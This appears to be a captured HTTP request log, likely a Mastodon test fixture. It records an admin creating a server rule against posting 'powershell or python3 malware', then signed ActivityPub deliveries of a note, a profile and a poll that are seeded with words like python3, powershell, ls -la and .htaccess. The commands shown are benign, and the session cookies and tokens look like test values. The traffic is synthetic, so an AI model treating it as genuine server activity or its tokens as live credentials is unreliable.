{"method": "GET", "target": "/admin/rules/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--203c40bb381615d05f03a2f8a85e9fcc7e6b7270; _mastodon_session=vpjeH%2Bcg9tUjebhrSEwZuhDq3n80g8YMpXP6KDWyO%2B4g%2B9em9rT8gpWm6kz%2FIG5zh%2FHg4fYY4WjjSJupw5bjait4MINeSkEsk%2BKIcI4l%2BptzjTehWFVgxAMrSivMOxD5a6oQICl%2BhV7ZcA0mTJPHVk9EfiQvz7s44lSCvevimOG337bQWXgAjA8Wed3XAsB980n7mPnaf%2B%2F0w43PZfGJzuuJM2tQu44yyQr86O6dib490mLKM0PpQlQkt7Ci4g0%2Br14723bsqTLoMh0Lagx4dQKlUQ8qXPyziYf01nP0s7ZmCROmDcRGjE5GfISB2tuGpAi5yd9RVxpmESRl3L4xy%2FYBsSb0J49Vw0koSjKxbTDJGcOd%2Fk1X%2FGfumGVvK19yOjIM%2F%2FBeUmQQ--BycggxXUpL95VeKN--fGEvXkIXSWu0YcTmKu4STw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/favicon-32x32-CiQz7Niw.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=AL3VcyLj1n0BbLqghV2FnjedsGcBaO6YXBxxxJJ%2FPljYuYRlCKgWyAnPpSRKdxRLqPvWnppICtuHPIvFTj7B3Hon4UfHVayw%2FIOxNtiV9%2FPPhW%2FwBwpoK2AztZyL%2BnzvnS2ZKnhNKYctJHD0C4rREGzKTOxgUR3a5gCHuBfBE6ZUAWYXUrZZURz0%2F%2BDnKXDA6noWGxv0NlFoOyqGcLj3QmJQL6LvqbeFt%2BdVuJU7mvrVd%2Fz4ukC%2BUOaZJyJQKwps1y6yAjBvPyenZ95GeVHvMtXn16n5MmFNjQ%3D%3D--rXOV4nzcMvb2oI%2FF--1fhYl%2FgtYiKJGX%2Brxz%2BUtA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/media_modal-BzzTvu5_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/modulepreload-polyfill-P2Xu9kJm.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/packs/utils-B19lL5A9.js", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/rules/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/rules/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzMuMzY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c1d98ce73d44fd31d5fd4635f301c3fd6aa1bb44; _mastodon_session=p6m93PIEFHVfOXOxCkbSUpYq9OUwJsLfi78lVaQvt1B325f7knpF75ttosgaEgrww64ySYCjldaKF134ao0aPwWVSj9zAgbNcRWrx%2BnzosuwmzT3zx%2B1%2BYXEKl0qTxpO2oIzNiRsZChLo30ob5dgfApaaEFJ7NFi6OdAMVpPWx8N23MB9iaJgTcYhZBt9GQPIY3KkYU7yoDKr2zicUVWZZKSgBrhZPI9tg9j1Ek%2BJlXcWokNT4tOvfGuI8qODxC90jOWyeBUbN%2F8lm6n5ttL1A7DiwJU7m4iYAFfLnLlTpYNqaHr3wSkXZ1saW2b0rSkSBXBNhQfmcnrwhtYTo7hBEvUXAdPVuTMlWSbnUdhVqXCLHDJLPKJoKrmDPFjb8h7AKFBSeKZlj%2FB--kjxBhmr8%2FlasSzrE--s1SnunCNfFFz%2Fvk0EQKG%2BA%3D%3D"], "body": "authenticity_token=XRgCXMq0ZnSnqcNY4B_FSTaacGg5gAbsAW9sxBm4eNUlzmuYvSnnRBjePwB_w8vXeX7eGL9onXljVnIFxPNuLw&rule%5Btext%5D=No+posting+of+powershell+or+python3+malware&rule%5Bhint%5D=Explaining+ls+-la+and+.htaccess+is+fine&button="}
{"method": "GET", "target": "/settings/preferences/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzYuMzM2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--525c8dfe218350761c42e9036f350133fedb1d8b; _mastodon_session=%2BfyWrSrOkbLB5%2BTaHxv4BeL33sDgPkGfdmAq81LrDrzpfXpCALhGtyvAjpvsPM%2BumHLhptcnA4T48AyWJjEBLwsCDloIZ0%2Fx7Td%2Fpf7v0XCdoEvkL%2FF3DNgcMsT1dD6zX1%2BP4V2t3on%2BSQ2L2500xt8QXlGCtVLd%2FqoytaeYBFq0LOEhxV0Wy%2F4hLg%2BcCRISlznrUXwuPWAsdaGSLSHZIkj3m42qWbxJE9rsImqfWZD0XV48DCjDwCEMXXQWXGR%2BgjD7pMBFbv74scJ%2BTR7GtMiN%2FzTWPkCzKjhkxyxR6PBHPym4Mocfu1ANHLiw5xuUEO8allE%2FoXos0sVl1YlmmeRXTckk%2B3s0kZdTIwmcQSA1p7Y6S54oNIIgN3w9NRg%2BLXsFOcEs%2BOM%2F--U%2BuwBJe7Sfx%2B0z0Z--lK8Wh6XPD70JhoUAbAxi%2FA%3D%3D"], "body": ""}
{"method": "POST", "target": "/auth/sign_out", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 120", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/preferences/appearance", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzYuNzcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--07fc69c11927e9226137db1d8ff961cce5037f48; _mastodon_session=4U4XinCMo3%2F3PCSbmw3qSlkfVVxI%2FcAklV3idWD25xgwG%2Bl%2FoRLAiwT3B51q7zz6TILyvgYehuy1kyuajv121pcRqzGczwCzj4NZyVelwpeFktM2B524HxTtWo3EluYvAs8iJIPg2fUwL%2B%2Fbb6WYNXNcEEE8i0OvAzYeSl9UvAlRBxuWSjkp%2Bib7R9LxEWwOTrNckwGr1zOEPF9n2lDWgV3tzoLB4SC9hnX9KBjESl7KBAcKVl%2FYK1AwoXAwwT8VT5RrutbCVLJr1zYOjzGV6dIWXwJ8u8DAWkaLkLU2zJIrgCeNxrUlzU2pbj4VDxdMaA7G8T6FglNm30w1sEypESvnTcjW1OXgzQjSgphgjowz1JgdAuvW7OanF4EB%2B3HYLfoasF7xudva--jemseh9kirfHooQK--wT%2B4lCY8B73hijkkDTg4cg%3D%3D"], "body": "_method=delete&authenticity_token=Ukx6K959crH1oidfhE2YoA-mabDq4PPMSVJ8ccdJOm9gj6p8AkuGJSUX7gscfTHAs5red_wXbumer2FIhKaT_g"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2483", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=FZROQqjDOKyPDl7fKcxNMM1bgBOj8ITDHNSklfJiWew=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"Yl6d6XaxNtokT6lWdDq2rHd59TYcY9Rz35DZEElrTTc2y9s27SfqjZHMxNgR8N/Q7Q/JItRG4okpCGGIMNq97AeEoce6EHrXfrggKdECJqw/VmMlB9Lz5xIOydPlSN9of++33Sd9H23GRWyv/xyAPLafpAQayVM3VKbu+KugRNBxt6M1JIHGy3KvkPQIs/YXUGTy8L8+Ha4Imf1E5i//aV831IPTXjJzjTFn41i/F4lmQGuOcaZLyAZfsTaXotHzEy6wYXcI7xET7wZC2vDmzdHqEFfFVK7ZkEUrCu0iDyPoX19sB6An4bKozf3E43ahKQXISu65RuPucFVGYAdZYA==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/300/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T13:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/300\",\"type\":\"Note\",\"summary\":\"python3 tips\",\"inReplyTo\":null,\"published\":\"2026-11-09T13:00:00Z\",\"url\":\"https://remote.example/@alice/300\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\"],\"sensitive\":true,\"content\":\"<p>Today I learned: <code>ls -la ~/.config</code> lists hidden files, and <code>python3 -m http.server</code> serves a folder. <a href=\\\"https://example.org/notes\\\" target=\\\"_blank\\\" rel=\\\"nofollow noopener\\\" translate=\\\"no\\\"><span class=\\\"invisible\\\">https://</span><span class=\\\"\\\">example.org/notes</span></a></p>\",\"contentMap\":{\"en\":\"<p>Today I learned: <code>ls -la ~/.config</code> lists hidden files, and <code>python3 -m http.server</code> serves a folder. <a href=\\\"https://example.org/notes\\\" target=\\\"_blank\\\" rel=\\\"nofollow noopener\\\" translate=\\\"no\\\"><span class=\\\"invisible\\\">https://</span><span class=\\\"\\\">example.org/notes</span></a></p>\"},\"attachment\":[{\"type\":\"Document\",\"mediaType\":\"image/png\",\"url\":\"https://remote.example/media/1.png\",\"name\":\"Screenshot of ls -la and .htaccess in a terminal\",\"blurhash\":\"U00000fQfQfQfQfQfQfQfQfQfQfQ\",\"width\":16,\"height\":16}],\"tag\":[]}}"}
{"method": "POST", "target": "/ap/users/117589326485981102/inbox", "headers": ["Content-Length: 2418", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=vFLr2RLu0uEAeVCCuYa+j6TFkgcF0xRsZpEK+N/VjMQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"I2NQZYk09uAsBoNCEScK3R9TV7jzfppw3wU7DYY5Uk6iY15CWuwQrv2MOolisviZb5R/q1pSaqXweZUs1zgDqglab6errhKWJfyalsJD4wfb4tYxgDAe3RW8OS3phlfb2VA6Flau4YyB6Lkz+wM8P14i6s/Vxu72Is1CBmcNa69QKAt7SQX5PrSpX5gPX4tFrFPmYd+NacuSi/ObLKdhtQTktFbLAz91tmfUqkrHSnvi/gXTqP9eS1ZDE2Ipbg/d34rYJE6En+iZvqe3gewQSLcru+IejLa6rM/uLG1Nss7FkhYJm6Jympj40jU0lHETEmdYczmrqDQikgCSLztkLg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice#updates/2\",\"type\":\"Update\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice\",\"type\":\"Person\",\"preferredUsername\":\"alice\",\"name\":\"Alice powershell\",\"summary\":\"<p>python3, powershell, ls -la and .htaccess</p>\",\"inbox\":\"https://remote.example/users/alice/inbox\",\"outbox\":\"https://remote.example/users/alice/outbox\",\"followers\":\"https://remote.example/users/alice/followers\",\"following\":\"https://remote.example/users/alice/following\",\"endpoints\":{\"sharedInbox\":\"https://remote.example/inbox\"},\"url\":\"https://remote.example/@alice\",\"publicKey\":{\"id\":\"https://remote.example/users/alice#main-key\",\"owner\":\"https://remote.example/users/alice\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh+7JMlOpvG2A1pJ0awX6\\nHkaPXyLYm8oOQwSGGgEi0e9WjAPXSTh1u3kc51VhRSP4JwYPf3Nr34a/EfygI1/K\\nw9Y79VHdHIe6R9Cjrt/ixm66Glnr7hniJoCyAL3ZcrEJ/Qvxqw5wzOEpNlNA6j76\\nX8rKtoiczVguVN6JhSDvA3kdIgdONCvRC+4Q9/bH/MLESPKJTDS0kno1NngAg9CZ\\nd/X2sIFdkygIdQrUeYoAhE8+m0dS4y6dEV2ue9GGPMG2irdXNDvonndjoNaGJ8zP\\nlo9LRZETB/HkpdB44XKjhXyvORG/qId98r4Is1UTr5kAyip0tNifO2SCyp6j5Dgb\\n7wIDAQAB\\n-----END PUBLIC KEY-----\\n\"},\"attachment\":[{\"type\":\"PropertyValue\",\"name\":\"python3\",\"value\":\"ls -la\"},{\"type\":\"PropertyValue\",\"name\":\".htaccess\",\"value\":\"powershell\"}]}}"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 1942", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=2XyvDyxRB33iLUf2kxoHCSaliLQDc7bjONSJFwmCrPc=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"VUSxO7sGjpJB4UOgCh9pBZ4lPsaTutm7yomVdVIrMZE4tdVOYMWvvCS4AItAwu75LYTMg67rYLM4sKWC4VvSsbQX0OZ8DfLXnkotPJ3sc3bRz8AXwlMzfslEJWTdWDcayJJP68zrU/GdwPYzdEsVbAMOaA7nbuljksZ4bfA5p23G4jZvMSCfA+tcgi3XLMbOruQ0tes6Zlzr90yRrZK3AipNUU0eZ779XyPrTXVsSff7Nkh8/7+P9VHSuVx9EWKTBX1cWzppkTM37lQyccjoT8zyMAYMPt4JPcuqyOYv2ecRKPDpszGkb60YyU1duJwnYJgWjERAhbdVYtQ5LbFYRQ==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/301/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/301\",\"type\":\"Question\",\"attributedTo\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T14:00:00Z\",\"endTime\":\"2026-11-12T14:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"content\":\"<p>Which?</p>\",\"oneOf\":[{\"type\":\"Note\",\"name\":\"python3\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\"powershell\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\"ls -la\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\".htaccess\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}}]}}"}
